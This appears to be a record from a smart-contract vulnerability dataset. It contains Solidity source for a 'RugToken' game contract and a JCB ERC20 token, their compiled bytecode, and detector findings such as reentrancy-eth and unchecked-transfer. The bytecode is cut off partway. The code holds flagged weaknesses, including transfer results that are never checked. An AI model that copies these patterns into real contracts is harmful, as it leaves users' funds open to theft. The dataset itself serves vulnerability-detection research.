weight(lvl3) > weight(sender) ){ pocket[ lvl3 ] += UINTs[2]; }else{ splitForKingAndRugChallenger(UINTs[2]); emit ReffSnatch(sender, gateway[lvl2]); gateway[lvl2] = sender; } pocket[ CARPET_KING ] += UINTs[3]; uint createdPiZZa = PiZZa.buy{value: eth4PiZZa}(sender, _red, _green, _blue); if(RugChallenger != sender){ if( RugChallengerHP <= weight(sender) ){ RugChallenger = sender; RugChallengerHP = weight(sender); emit RugPulled(sender, RugChallenger, RugChallengerHP); }else{ uint damage = weight(sender); if(damage>0){ RugChallengerHP -= damage; emit Damaged( RugChallenger, damage ); } } }else{ if( RugChallengerHP < weight(sender) && msg.value > 0.001 ether) RugChallengerHP = weight(sender); } if(carpetBags > 0 && msg.value > 0.001 ether){ carpetBags -= 1; Rugs.mint(sender, createdPiZZa); } return createdPiZZa; } event RugPulled(address winner, address loser, uint HP); event Damaged(address RugChallenger, uint damage); event ReffSnatch(address snatcher, address slacker); event SplitForKingAndRugChallenger(address king, address buyer); function splitForKingAndRugChallenger(uint ETH) internal{ pocket[CARPET_KING] += ETH/2; pocket[RugChallenger] += ETH - ETH/2; emit SplitForKingAndRugChallenger(CARPET_KING, RugChallenger); } event Withdraw(address account, uint amount); function withdraw() public{ address sender = msg.sender; uint amount = pocket[sender]; if( amount>0 ){ pocket[sender] = 0; (bool success, ) = sender.call{value:amount}(""); emit Withdraw(sender, amount); require(success, "Transfer failed."); }else{ revert(); } } event RechargeMagicLamp( address indexed addr, uint256 amountStaked ); function tokenFallback(address from, uint value, bytes calldata _data) external{ if(msg.sender == address(Resolve) ){ address THIS = address(this); if(carpetBags == 0){ carpetBags += value / 1e16; //100 per resolve token CARPET_KING = from; //takes the resolve tokens used to recharge the magic lamp and it stakes those //only the original dev benefits from these resolves being staked //the address that recharged the lamp benefits as CARPET_KING //only every 6th generation stakes resolves. waits for first 6 if(carpet_dynasty_generation % 6 == 0){ uint earnings = PiZZa.resolveEarnings( THIS ); if(earnings > 0){ PiZZa.withdraw(earnings); (bool success, ) = DEV.call{value:earnings}(""); require(success, "Transfer failed."); } Resolve.transfer( address(PiZZa), Resolve.balanceOf(THIS) ); } carpet_dynasty_generation += 1; emit RechargeMagicLamp(from, carpetBags); }else{ thanks[from] += value; //literally, this is it Resolve.transfer( address(PiZZa), value); } }else{ revert("no want"); } } } abstract contract Pyramid{ function buy(address addr, uint _red, uint _green, uint _blue) public virtual payable returns(uint createdBonds); function resolveToken() public view virtual returns(ERC20); function resolveEarnings(address _owner) public view virtual returns (uint256 amount); function withdraw(uint amount) public virtual returns(uint); } abstract contract ERC20{ function balanceOf(address _owner) public view virtual returns (uint256 balance); function transfer(address _to, uint _value) public virtual returns (bool); } contract RugToken{ string public name = "Rug Token"; string public symbol = "RUG"; uint8 constant public decimals = 18; address public owner; constructor() public{ owner = msg.sender; } modifier ownerOnly{ require(msg.sender == owner); _; } event Mint( address indexed addr, uint256 amount ); function mint(address _address, uint _value) external ownerOnly(){ balances[_address] += _value; _totalSupply += _value; emit Mint(_address, _value); } mapping(address => uint256) public balances; uint public _totalSupply; mapping(address => mapping(address => uint)) approvals; event Transfer( address indexed from, address indexed to, uint256 amount, bytes data ); event Transfer( address indexed from, address indexed to, uint256 amount ); function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } // Function that is called when a user or another contract wants to transfer funds. function transfer(address _to, uint _value, bytes memory _data) public virtual returns (bool) { if( isContract(_to) ){ return transferToContract(_to, _value, _data); }else{ return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data. // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) public virtual returns (bool) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)){ return transferToContract(_to, _value, empty); }else{ return transferToAddress(_to, _value, empty); } } //function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes memory _data) private returns (bool) { moveTokens(msg.sender, _to, _value); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes memory _data) private returns (bool) { moveTokens(msg.sender, _to, _value); ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } function moveTokens(address _from, address _to, uint _amount) internal virtual{ require( _amount <= balances[_from] ); //update balances balances[_from] -= _amount; balances[_to] += _amount; } function allowance(address src, address guy) public view returns (uint) { return approvals[src][guy]; } function transferFrom(address src, address dst, uint amount) public returns (bool){ address sender = msg.sender; require(approvals[src][sender] >= amount); require(balances[src] >= amount); approvals[src][sender] -= amount; moveTokens(src,dst,amount); bytes memory empty; emit Transfer(sender, dst, amount, empty); emit Transfer(sender, dst, amount); return true; } event Approval(address indexed src, address indexed guy, uint amount); function approve(address guy, uint amount) public returns (bool) { address sender = msg.sender; approvals[sender][guy] = amount; emit Approval( sender, guy, amount ); return true; } function isContract(address _addr) public view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } if(length>0) { return true; }else { return false; } } } abstract contract ERC223ReceivingContract{ function tokenFallback(address _from, uint _value, bytes calldata _data) external virtual; }
0x6080604052600436106100fe5760003560e01c80637eb2c44111610095578063c1eb5ddd11610064578063c1eb5ddd1461033d578063c5bf827014610352578063dffb2d4e14610367578063e4b2acfe1461039a578063f4396e2a146103af576100fe565b80637eb2c4411461026c57806384ca06071461028157806385f4d25414610296578063c0ee0b8a146102ab576100fe565b80633a9d73bc116100d15780633a9d73bc146101f85780633ccfd60b1461022b578063428109f4146102425780637e03634014610257576100fe565b8063049939f3146101035780631622dbe41461014a578063180c06e51461019457806335504bde146101e3575b600080fd5b34801561010f57600080fd5b506101366004803603602081101561012657600080fd5b50356001600160a01b03166103e2565b604080519115158252519081900360200190f35b6101826004803603608081101561016057600080fd5b506001600160a01b0381351690602081013590604081013590606001356103f7565b60408051918252519081900360200190f35b3480156101a057600080fd5b506101c7600480360360208110156101b757600080fd5b50356001600160a01b0316610c49565b604080516001600160a01b039092168252519081900360200190f35b3480156101ef57600080fd5b506101c7610c64565b34801561020457600080fd5b506101826004803603602081101561021b57600080fd5b50356001600160a01b0316610c73565b34801561023757600080fd5b50610240610c85565b005b34801561024e57600080fd5b506101c7610d8d565b34801561026357600080fd5b506101c7610d9c565b34801561027857600080fd5b506101c7610dab565b34801561028d57600080fd5b50610182610dba565b3480156102a257600080fd5b50610182610dc0565b3480156102b757600080fd5b50610240600480360360608110156102ce57600080fd5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156102fe57600080fd5b82018360208201111561031057600080fd5b8035906020019184600183028401116401000000008311171561033257600080fd5b509092509050610dc6565b34801561034957600080fd5b506101c76111de565b34801561035e57600080fd5b506101826111ed565b34801561037357600080fd5b506101826004803603602081101561038a57600080fd5b50356001600160a01b03166111f3565b3480156103a657600080fd5b506101c7611205565b3480156103bb57600080fd5b50610182600480360360208110156103d257600080fd5b50356001600160a01b0316611214565b600b6020526000908152604090205460ff1681565b336000818152600b602052604081205490919060ff166104b9576001600160a01b0386166000908152600b602052604090205460ff1615610465576001600160a01b038181166000908152600a6020526040902080546001600160a01b031916918816919091179055610495565b6003546001600160a01b038281166000908152600a6020526040902080546001600160a01b031916919092161790555b6001600160a01b0381166000908152600b60205260409020805460ff191660011790555b670de0b6b3a76400008511156104d557670de0b6b3a764000094505b670de0b6b3a76400008411156104f157670de0b6b3a764000093505b670de0b6b3a764000083111561050d57670de0b6b3a764000092505b60408051600480825260a0820190925260609160208201608080368337019050509050606460033402048160008151811061054457fe5b6020908102919091010152606460023402048160018151811061056357fe5b6020908102919091010152606434048160028151811061057f57fe5b60209081029190910101526103e860063402048160038151811061059f57fe5b6020026020010181815250506000816003815181106105ba57fe5b6020026020010151826002815181106105cf57fe5b6020026020010151836001815181106105e457fe5b6020026020010151846000815181106105f957fe5b6020026020010151340303030390506000600a6000856001600160a01b03166001600160a01b0316815260200190815260200160002060009054906101000a90046001600160a01b0316905061064e84611214565b61065782611214565b111561069b578260008151811061066a57fe5b6020908102919091018101516001600160a01b0383166000908152600c909252604090912080549091019055610746565b6106b8836000815181106106ab57fe5b6020026020010151611297565b6003546001600160a01b038581166000908152600a602090815260409182902054825194841685529092169183019190915280517f2d5011f2e318269531b37e0c93259ee0ca45e17c9940388ad8ab193696823a889281900390910190a16003546001600160a01b038581166000908152600a6020526040902080546001600160a01b031916919092161790555b6001600160a01b038082166000908152600a60205260409020541661076a85611214565b61077382611214565b11156107b7578360018151811061078657fe5b6020908102919091018101516001600160a01b0383166000908152600c90925260409091208054909101905561084d565b6107c7846001815181106106ab57fe5b6001600160a01b038083166000908152600a6020908152604091829020548251848a16815293169083015280517f2d5011f2e318269531b37e0c93259ee0ca45e17c9940388ad8ab193696823a889281900390910190a16001600160a01b038281166000908152600a6020526040902080546001600160a01b0319169187169190911790555b6001600160a01b038082166000908152600a60205260409020541661087186611214565b61087a82611214565b11156108be578460028151811061088d57fe5b6020908102919091018101516001600160a01b0383166000908152600c909252604090912080549091019055610954565b6108ce856002815181106106ab57fe5b6001600160a01b038083166000908152600a6020908152604091829020548251848b16815293169083015280517f2d5011f2e318269531b37e0c93259ee0ca45e17c9940388ad8ab193696823a889281900390910190a16001600160a01b038281166000908152600a6020526040902080546001600160a01b0319169188169190911790555b8460038151811061096157fe5b6020026020010151600c6000600560009054906101000a90046001600160a01b03166001600160a01b03166001600160a01b031681526020019081526020016000206000828254019250508190555060008060009054906101000a90046001600160a01b03166001600160a01b0316631622dbe486898e8e8e6040518663ffffffff1660e01b815260040180856001600160a01b03166001600160a01b031681526020018481526020018381526020018281526020019450505050506020604051808303818588803b158015610a3657600080fd5b505af1158015610a4a573d6000803e3d6000fd5b50505050506040513d6020811015610a6157600080fd5b50516003549091506001600160a01b03888116911614610b7457610a8487611214565b60045411610b0957600380546001600160a01b0319166001600160a01b038916179055610ab087611214565b6004819055600354604080516001600160a01b03808c16825290921660208301528181019290925290517fe64225e0e86b93cbd64a96e476163519fe65be29879338a66adcc08159edc2b39181900360600190a1610b6f565b6000610b1488611214565b90508015610b6d57600480548290039055600354604080516001600160a01b0390921682526020820183905280517f897241f94fca7111ad46405593b0dbbf1537decd61df50421a1f3834d0553a209281900390910190a15b505b610ba5565b610b7d87611214565b600454108015610b93575066038d7ea4c6800034115b15610ba557610ba187611214565b6004555b6000600254118015610bbd575066038d7ea4c6800034115b15610c3a5760028054600019019055600154604080516340c10f1960e01b81526001600160a01b038a8116600483015260248201859052915191909216916340c10f1991604480830192600092919082900301818387803b158015610c2157600080fd5b505af1158015610c35573d6000803e3d6000fd5b505050505b9b9a5050505050505050505050565b600a602052600090815260409020546001600160a01b031681565b6000546001600160a01b031681565b600d6020526000908152604090205481565b336000818152600c602052604090205480156100fe576001600160a01b0382166000818152600c60205260408082208290555190919083908381818185875af1925050503d8060008114610cf5576040519150601f19603f3d011682016040523d82523d6000602084013e610cfa565b606091505b5050604080516001600160a01b03861681526020810185905281519293507f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364929081900390910190a180610d88576040805162461bcd60e51b815260206004820152601060248201526f2a3930b739b332b9103330b4b632b21760811b604482015290519081900360640190fd5b505050565b6008546001600160a01b031681565b6003546001600160a01b031681565b6005546001600160a01b031681565b60025481565b60065481565b6008546001600160a01b03163314156111a15760025430906111045760028054662386f26fc100008604019055600580546001600160a01b0319166001600160a01b03871617905560068054066110b5576000805460408051632428fc8d60e11b81526001600160a01b03858116600483015291519190921691634851f91a916024808301926020929190829003018186803b158015610e6557600080fd5b505afa158015610e79573d6000803e3d6000fd5b505050506040513d6020811015610e8f57600080fd5b505190508015610fb1576000805460408051632e1a7d4d60e01b81526004810185905290516001600160a01b0390921692632e1a7d4d926024808401936020939083900390910190829087803b158015610ee857600080fd5b505af1158015610efc573d6000803e3d6000fd5b505050506040513d6020811015610f1257600080fd5b50506007546040516000916001600160a01b03169083908381818185875af1925050503d8060008114610f61576040519150601f19603f3d011682016040523d82523d6000602084013e610f66565b606091505b5050905080610faf576040805162461bcd60e51b815260206004820152601060248201526f2a3930b739b332b9103330b4b632b21760811b604482015290519081900360640190fd5b505b600854600054604080516370a0823160e01b81526001600160a01b03868116600483015291519382169363a9059cbb939092169184916370a08231916024808301926020929190829003018186803b15801561100c57600080fd5b505afa158015611020573d6000803e3d6000fd5b505050506040513d602081101561103657600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561108757600080fd5b505af115801561109b573d6000803e3d6000fd5b505050506040513d60208110156110b157600080fd5b5050505b60068054600101905560025460408051918252516001600160a01b038716917f9bddd43f854dbd4541f36bc4103eaee6579d2d3a16e59dbe02cc4485ff7901bb919081900360200190a261119b565b6001600160a01b038086166000908152600d602090815260408083208054890190556008548354825163a9059cbb60e01b81529086166004820152602481018a9052915194169363a9059cbb93604480840194938390030190829087803b15801561116e57600080fd5b505af1158015611182573d6000803e3d6000fd5b505050506040513d602081101561119857600080fd5b50505b506111d8565b6040805162461bcd60e51b81526020600482015260076024820152661b9bc81dd85b9d60ca1b604482015290519081900360640190fd5b50505050565b6007546001600160a01b031681565b60045481565b600c6020526000908152604090205481565b6001546001600160a01b031681565b600854604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b15801561126557600080fd5b505afa158015611279573d6000803e3d6000fd5b505050506040513d602081101561128f57600080fd5b505192915050565b600580546001600160a01b039081166000908152600c602090815260408083208054600288049081019091556003805486168552938290208054918803909101905593549154845192841683529092169181019190915281517f439e3731a0d79b58350bae88b0f351992bd8faa8868a50e1b3220c4abd006fd1929181900390910190a15056fea2646970667358221220e6eb3d4d0cde51479bcab056bb48484f3f60a76eee3122019c92a2287efea28864736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
10,462
0xe8940b7d6f17f24583894f807bc2764aa635d36b
pragma solidity ^0.4.23; library SafeMathLib { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract DateTimeLib { struct _DateTime { uint16 year; uint8 month; uint8 day; uint8 hour; uint8 minute; uint8 second; uint8 weekday; } uint constant DAY_IN_SECONDS = 86400; uint constant YEAR_IN_SECONDS = 31536000; uint constant LEAP_YEAR_IN_SECONDS = 31622400; uint constant HOUR_IN_SECONDS = 3600; uint constant MINUTE_IN_SECONDS = 60; uint16 constant ORIGIN_YEAR = 1970; function isLeapYear(uint16 year) internal pure returns (bool) { if (year % 4 != 0) { return false; } if (year % 100 != 0) { return true; } if (year % 400 != 0) { return false; } return true; } function leapYearsBefore(uint year) internal pure returns (uint) { year -= 1; return year / 4 - year / 100 + year / 400; } function getDaysInMonth(uint8 month, uint16 year) internal pure returns (uint8) { if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) { return 31; } else if (month == 4 || month == 6 || month == 9 || month == 11) { return 30; } else if (isLeapYear(year)) { return 29; } else { return 28; } } function parseTimestamp(uint timestamp) internal pure returns (_DateTime dt) { uint secondsAccountedFor = 0; uint buf; uint8 i; dt.year = getYear(timestamp); buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf; secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf); uint secondsInMonth; for (i = 1; i <= 12; i++) { secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year); if (secondsInMonth + secondsAccountedFor > timestamp) { dt.month = i; break; } secondsAccountedFor += secondsInMonth; } for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) { if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) { dt.day = i; break; } secondsAccountedFor += DAY_IN_SECONDS; } dt.hour = getHour(timestamp); dt.minute = getMinute(timestamp); dt.second = getSecond(timestamp); dt.weekday = getWeekday(timestamp); } function getYear(uint timestamp) internal pure returns (uint16) { uint secondsAccountedFor = 0; uint16 year; uint numLeapYears; year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS); numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears; secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears); while (secondsAccountedFor > timestamp) { if (isLeapYear(uint16(year - 1))) { secondsAccountedFor -= LEAP_YEAR_IN_SECONDS; } else { secondsAccountedFor -= YEAR_IN_SECONDS; } year -= 1; } return year; } function getMonth(uint timestamp) internal pure returns (uint8) { return parseTimestamp(timestamp).month; } function getDay(uint timestamp) internal pure returns (uint8) { return parseTimestamp(timestamp).day; } function getHour(uint timestamp) internal pure returns (uint8) { return uint8((timestamp / 60 / 60) % 24); } function getMinute(uint timestamp) internal pure returns (uint8) { return uint8((timestamp / 60) % 60); } function getSecond(uint timestamp) internal pure returns (uint8) { return uint8(timestamp % 60); } function getWeekday(uint timestamp) internal pure returns (uint8) { return uint8((timestamp / DAY_IN_SECONDS + 4) % 7); } function toTimestamp(uint16 year, uint8 month, uint8 day) internal pure returns (uint timestamp) { return toTimestamp(year, month, day, 0, 0, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour) internal pure returns (uint timestamp) { return toTimestamp(year, month, day, hour, 0, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute) internal pure returns (uint timestamp) { return toTimestamp(year, month, day, hour, minute, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) internal pure returns (uint timestamp) { uint16 i; for (i = ORIGIN_YEAR; i < year; i++) { if (isLeapYear(i)) { timestamp += LEAP_YEAR_IN_SECONDS; } else { timestamp += YEAR_IN_SECONDS; } } uint8[12] memory monthDayCounts; monthDayCounts[0] = 31; if (isLeapYear(year)) { monthDayCounts[1] = 29; } else { monthDayCounts[1] = 28; } monthDayCounts[2] = 31; monthDayCounts[3] = 30; monthDayCounts[4] = 31; monthDayCounts[5] = 30; monthDayCounts[6] = 31; monthDayCounts[7] = 31; monthDayCounts[8] = 30; monthDayCounts[9] = 31; monthDayCounts[10] = 30; monthDayCounts[11] = 31; for (i = 1; i < month; i++) { timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1]; } timestamp += DAY_IN_SECONDS * (day - 1); timestamp += HOUR_IN_SECONDS * (hour); timestamp += MINUTE_IN_SECONDS * (minute); timestamp += second; return timestamp; } } interface IERC20 { function totalSupply() external constant returns (uint256); function balanceOf(address _owner) external constant returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address _spender, uint256 _value); } contract StandardToken is IERC20,DateTimeLib { using SafeMathLib for uint256; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; string public constant symbol = "JCB"; string public constant name = "JoinCoin"; uint _totalSupply = 1000000000 * 10 ** 8; uint8 public constant decimals = 8; function totalSupply() external constant returns (uint256) { return _totalSupply; } function balanceOf(address _owner) external constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) public returns (bool success) { return transferInternal(msg.sender, _to, _value); } function transferInternal(address _from, address _to, uint256 _value) internal returns (bool success) { require(_value > 0 && balances[_from] >= _value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value > 0 && allowed[_from][msg.sender] >= _value && balances[_from] >= _value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract LockableToken is StandardToken { address internal developerReservedAddress = 0xf4ab0e0269E05163E65608F44E80A125A511a916; uint[4] internal developerReservedUnlockTimes; uint256[4] internal developerReservedBalanceLimits; function getDeveloperReservedBalanceLimit() internal returns (uint256 balanceLimit) { uint time = now; for (uint index = 0; index < developerReservedUnlockTimes.length; index++) { if (developerReservedUnlockTimes[index] == 0x0) { continue; } if (time > developerReservedUnlockTimes[index]) { developerReservedUnlockTimes[index] = 0x0; } else { return developerReservedBalanceLimits[index]; } } return 0; } function transfer(address _to, uint256 _value) public returns (bool success) { return transferInternal(msg.sender, _to, _value); } function transferInternal(address _from, address _to, uint256 _value) internal returns (bool success) { require(_from != 0x0 && _to != 0x0 && _value > 0x0); if (_from == developerReservedAddress) { uint256 balanceLimit = getDeveloperReservedBalanceLimit(); require(balances[_from].sub(balanceLimit) >= _value); } return super.transferInternal(_from, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_from != 0x0 && _to != 0x0 && _value > 0x0); if (_from == developerReservedAddress) { uint256 balanceLimit = getDeveloperReservedBalanceLimit(); require(balances[_from].sub(balanceLimit) >= _value); } return super.transferFrom(_from, _to, _value); } event UnlockTimeChanged(uint index, uint unlockTime, uint newUnlockTime); event LockInfo(address indexed publicOfferingAddress, uint index, uint unlockTime, uint256 balanceLimit); } contract TradeableToken is LockableToken { address internal publicOfferingAddress = 0xbdB45923Bf511801F71EAeD4fbd926E48bA43DB5; uint256 public exchangeRate = 4000; function buy(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != 0x0); require(publicOfferingAddress != 0x0); require(exchangeRate > 0x0); require(_weiAmount > 0x0); uint256 exchangeToken = _weiAmount.mul(exchangeRate); exchangeToken = exchangeToken.div(1 * 10 ** 10); publicOfferingAddress.transfer(_weiAmount); super.transferInternal(publicOfferingAddress, _beneficiary, exchangeToken); } event ExchangeRateChanged(uint256 oldExchangeRate,uint256 newExchangeRate); } contract OwnableToken is TradeableToken { address internal owner = 0xfe71ea94aD48c03a8B1D5c8A371E36Fc0E05856A; mapping(address => uint) administrators; modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyAdministrator() { require(msg.sender == owner || administrators[msg.sender] > 0x0); _; } function transferOwnership(address _newOwner) onlyOwner public { require(_newOwner != address(0)); owner = _newOwner; emit OwnershipTransferred(owner, _newOwner); } function addAdministrator(address _adminAddress) onlyOwner public { require(_adminAddress != address(0)); require(administrators[_adminAddress] <= 0x0); administrators[_adminAddress] = 0x1; emit AddAdministrator(_adminAddress); } function removeAdministrator(address _adminAddress) onlyOwner public { require(_adminAddress != address(0)); require(administrators[_adminAddress] > 0x0); administrators[_adminAddress] = 0x0; emit RemoveAdministrator(_adminAddress); } function setExchangeRate(uint256 _exchangeRate) public onlyAdministrator returns (bool success) { require(_exchangeRate > 0x0); uint256 oldExchangeRate = exchangeRate; exchangeRate = _exchangeRate; emit ExchangeRateChanged(oldExchangeRate, exchangeRate); return true; } function changeUnlockTime(uint _index, uint _unlockTime) public onlyAdministrator returns (bool success) { require(_index >= 0x0 && _index < developerReservedUnlockTimes.length && _unlockTime > 0x0); if(_index > 0x0) { uint beforeUnlockTime = developerReservedUnlockTimes[_index - 1]; require(beforeUnlockTime == 0x0 || beforeUnlockTime < _unlockTime); } if(_index < developerReservedUnlockTimes.length - 1) { uint afterUnlockTime = developerReservedUnlockTimes[_index + 1]; require(afterUnlockTime == 0x0 || _unlockTime < afterUnlockTime); } uint oldUnlockTime = developerReservedUnlockTimes[_index]; developerReservedUnlockTimes[_index] = _unlockTime; emit UnlockTimeChanged(_index,oldUnlockTime,_unlockTime); return true; } function getDeveloperReservedLockInfo(uint _index) public onlyAdministrator returns (uint, uint256) { require(_index >= 0x0 && _index < developerReservedUnlockTimes.length && _index < developerReservedBalanceLimits.length); emit LockInfo(developerReservedAddress,_index,developerReservedUnlockTimes[_index],developerReservedBalanceLimits[_index]); return (developerReservedUnlockTimes[_index], developerReservedBalanceLimits[_index]); } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event AddAdministrator(address indexed adminAddress); event RemoveAdministrator(address indexed adminAddress); } contract JCB is OwnableToken { function JCB() public { balances[owner] = 500000000 * 10 ** 8; balances[publicOfferingAddress] = 300000000 * 10 ** 8; uint256 developerReservedBalance = 200000000 * 10 ** 8; balances[developerReservedAddress] = developerReservedBalance; developerReservedUnlockTimes = [ DateTimeLib.toTimestamp(2019, 7, 1), DateTimeLib.toTimestamp(2020, 7, 1), DateTimeLib.toTimestamp(2021, 7, 1), DateTimeLib.toTimestamp(2022, 7, 1) ]; developerReservedBalanceLimits = [ developerReservedBalance, developerReservedBalance - (developerReservedBalance / 4) * 1, developerReservedBalance - (developerReservedBalance / 4) * 2, developerReservedBalance - (developerReservedBalance / 4) * 3 ]; } function() public payable { buy(msg.sender, msg.value); } }
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f2578063095ea7b31461018257806318160ddd146101e757806323b872dd14610212578063313ce567146102975780633ba0b9a9146102c857806368fa8134146102f357806370a082311461033657806395d89b411461038d578063a9059cbb1461041d578063aad7104014610482578063c9991176146104d1578063db068e0e14610514578063dd62ed3e14610559578063f2fde38b146105d0578063f6988b7914610613575b6100f0333461065b565b005b3480156100fe57600080fd5b506101076107b7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014757808201518184015260208101905061012c565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018e57600080fd5b506101cd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f0565b604051808215151515815260200191505060405180910390f35b3480156101f357600080fd5b506101fc6108ff565b6040518082815260200191505060405180910390f35b34801561021e57600080fd5b5061027d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b3480156102a357600080fd5b506102ac610a36565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d457600080fd5b506102dd610a3b565b6040518082815260200191505060405180910390f35b3480156102ff57600080fd5b50610334600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a41565b005b34801561034257600080fd5b50610377600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb2565b6040518082815260200191505060405180910390f35b34801561039957600080fd5b506103a2610bfa565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e25780820151818401526020810190506103c7565b50505050905090810190601f16801561040f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561042957600080fd5b50610468600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c33565b604051808215151515815260200191505060405180910390f35b34801561048e57600080fd5b506104b76004803603810190808035906020019092919080359060200190929190505050610c48565b604051808215151515815260200191505060405180910390f35b3480156104dd57600080fd5b50610512600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e0d565b005b34801561052057600080fd5b5061053f60048036038101908080359060200190929190505050610f7f565b604051808215151515815260200191505060405180910390f35b34801561056557600080fd5b506105ba600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061108e565b6040518082815260200191505060405180910390f35b3480156105dc57600080fd5b50610611600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611115565b005b34801561061f57600080fd5b5061063e6004803603810190808035906020019092919050505061126d565b604051808381526020018281526020019250505060405180910390f35b6000808373ffffffffffffffffffffffffffffffffffffffff161415151561068257600080fd5b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156106ca57600080fd5b6000600d541115156106db57600080fd5b6000821115156106ea57600080fd5b6106ff600d548361140990919063ffffffff16565b90506107196402540be4008261143c90919063ffffffff16565b9050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610783573d6000803e3d6000fd5b506107b1600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16848361147d565b50505050565b6040805190810160405280600881526020017f4a6f696e436f696e00000000000000000000000000000000000000000000000081525081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258484604051808373ffffffffffffffffffffffffffffffffffffffff1673fffff